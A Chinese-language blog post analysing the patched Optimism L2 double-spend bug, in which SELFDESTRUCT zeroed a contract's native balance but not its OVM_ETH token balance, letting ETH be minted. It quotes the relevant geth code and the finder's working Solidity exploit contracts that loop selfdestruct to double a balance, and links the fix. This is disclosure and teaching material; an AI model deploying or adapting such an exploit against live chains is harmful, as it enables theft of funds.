简单分析200万美元赏金的以太坊L2项目Optimism双花漏洞
简单分析200万美元赏金的以太坊L2项目Optimism双花漏洞
不得不说,区块链行业的漏洞奖励是真高,这应该是继Polygon(matic)双花漏洞奖励200w美金之后,第二个发放200万美金的漏洞,貌似比Polygon还高一点,具体发放了$2,000,042奖金,或许是史上最高漏洞奖励吧。(羡慕啊🍋🍋🍋
 

Optimism介绍

在以太坊众多的扩容方案中,目前公众最看好的是Rollups方案,而Rollups也细分为ZK Rollups分支和OP Rollups分支,前者利用零知识证明完成,后者通过博弈学来完成,Optimism则是OP Rollups的其中代表之一。
 
当然,Optimism也有自己的特性,也可以说是局限性,那就是无原生ETH,原生ETH被ERC20标准的ETH代替,在Optimism完成“EVM等效化”工作后,原本对于ETH的操作在底层都隐式的变成了对ERC20-ETH的操作,完成了统一,但这也是兼容性问题的开始。
notion image
那么Optimism是如何完成对ETH余额操作的隐式转换的呢,直接来看下面这段代码:
func (s *StateDB) SetBalance(addr common.Address, amount *big.Int) {
	if rcfg.UsingOVM {
		// Mutate the storage slot inside of OVM_ETH to change balances.
		key := GetOVMBalanceKey(addr)
		s.SetState(dump.OvmEthAddress, key, common.BigToHash(amount))
	} else {
		stateObject := s.GetOrNewStateObject(addr)
		if stateObject != nil {
			stateObject.SetBalance(amount)
		}
	}
}
var OvmEthAddress = common.HexToAddress("0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000")
 
SetBalanceOptimism GETH对ETH余额进行操作的底层函数,先判断有没有使用OVM(在Optimism中条件成立),接着会计算目标地址在OVM中对应的slot,直接对OvmEthAddress地址的合约中的storage进行修改。
原本ETH余额等状态的修改都是在状态数据库(StateDB)中进行的,现在为了剥除原生ETH,把ETH余额的更改操作都变成了对OvmEthAddress地址合约的storage修改。
notion image
OvmEthAddress地址的合约,就是OptimismETH对应的ERC20合约。
notion image
AddBalanceSubBalance、GetBalance都是类似的实现,都是将对StateDB增删改查劫持到了ETH合约(0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000)上。这就是Optimism对ETH操作实现隐式转换的大体机制,而漏洞正与这个有关。
 

SELFDESTRUCT操作码

我们都知道,在以太坊的合约是可以自毁的,合约自毁会产生以下两种作用:
  1. 合约状态树被清除
  1. 合约ETH余额强制发送到指定地址
 
Optimism当然也继承了以太坊的这个操作码,以下是SELFDESTRUCT操作码的具体实现
func opSuicide(pc *uint64, interpreter *EVMInterpreter, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) {
	balance := interpreter.evm.StateDB.GetBalance(contract.Address())
	interpreter.evm.StateDB.AddBalance(common.BigToAddress(stack.pop()), balance)

	interpreter.evm.StateDB.Suicide(contract.Address())
	return nil, nil
}
在执行Suicideopcode时,会先通过GetBalance获取合约的ETH余额,然后通过AddBalance给目标地址增加ETH余额,这里用的都是经过修改的*Balance函数,作用在ETH合约上。
然后执行Suicide()进行状态修改。
// The account's state object is still available until the state is committed,
// getStateObject will return a non-nil account after Suicide.
func (s *StateDB) Suicide(addr common.Address) bool {
	stateObject := s.getStateObject(addr)
	if stateObject == nil {
		return false
	}
	s.journal.append(suicideChange{
		account:     &addr,
		prev:        stateObject.suicided,
		prevbalance: new(big.Int).Set(stateObject.Balance()),
	})
	stateObject.markSuicided()
	stateObject.data.Balance = new(big.Int)

	return true
}

func (s *stateObject) markSuicided() {
	s.suicided = true
}
主要看最后两行,stateObject执行markSuicided函数标记suicidedtrue,然后直接对stateObject.data.Balance赋值为0 (发现什么问题了吗)
注意前两行注释,在状态被提交前,也就是说交易被确认前,账户状态对象会一直存活,仅仅是标记为已销毁,这个特性很重要。
 

双花问题

其实最关键的漏洞代码,在上面已经贴出来了,就是这一行:
stateObject.data.Balance = new(big.Int)
对于Optimism来说,主要关心的是ETH合约中的余额,ETH原生余额并不重要。
对ETH余额进行增删改查的方法(AddBalanceSubBalance、GetBalance),Optimism都已经劫持到了ETH合约上,但唯独这行,是直接对StateDB中的Balance进行赋值,通过赋值为0来完成ETH余额归零,但是!这里归零的是ETH原生余额的变量,ETH合约中的余额不受影响,应该归零的是ETH合约中对应地址的余额。
所以SELFDESTRUCT的执行逻辑是如下图所示:
notion image
可以看到,对于ETH合约来说,A凭空多出来了1 ETH,这也就是我们所说的双花问题,只要虚线框中的逻辑能够循环执行,就能够一直产生双花,凭空“印钞”。
 

漏洞利用

漏洞发现者给出了以下EXP
pragma solidity 0.7.6;

contract Exploit {
    constructor() payable {}

    function destroy() public {
        selfdestruct(payable(address(this)));
    }

    function take() public {
        msg.sender.transfer(address(this).balance);
    }
}

contract Attack {
    constructor(uint count) payable {
        Exploit exploit = new Exploit{value: msg.value}();
        for (; count != 0; --count)
            exploit.destroy();
        exploit.take();
        msg.sender.transfer(address(this).balance);
    }

    receive() external payable {}
}
根据SELFDESTRUCT的特性,合约在交易被确定前是不会被真正销毁的,所以可以循环执行exploit.destroy()销毁合约,每执行一次,Exploit合约中的ETH余额就会翻倍一次,最后转给msg.sender
 

补丁

为了防止漏洞被恶意利用,官方把补丁藏在了一个不起眼的commit中:https://github.com/ethereum-optimism/optimism/pull/2146/commits/9ef215b830f314739088f2ddb3d140ac30781595
notion image
在执行完Suicide()后,利用SubBalance来对合约地址在ETH合约中的余额进行归零。
 

参考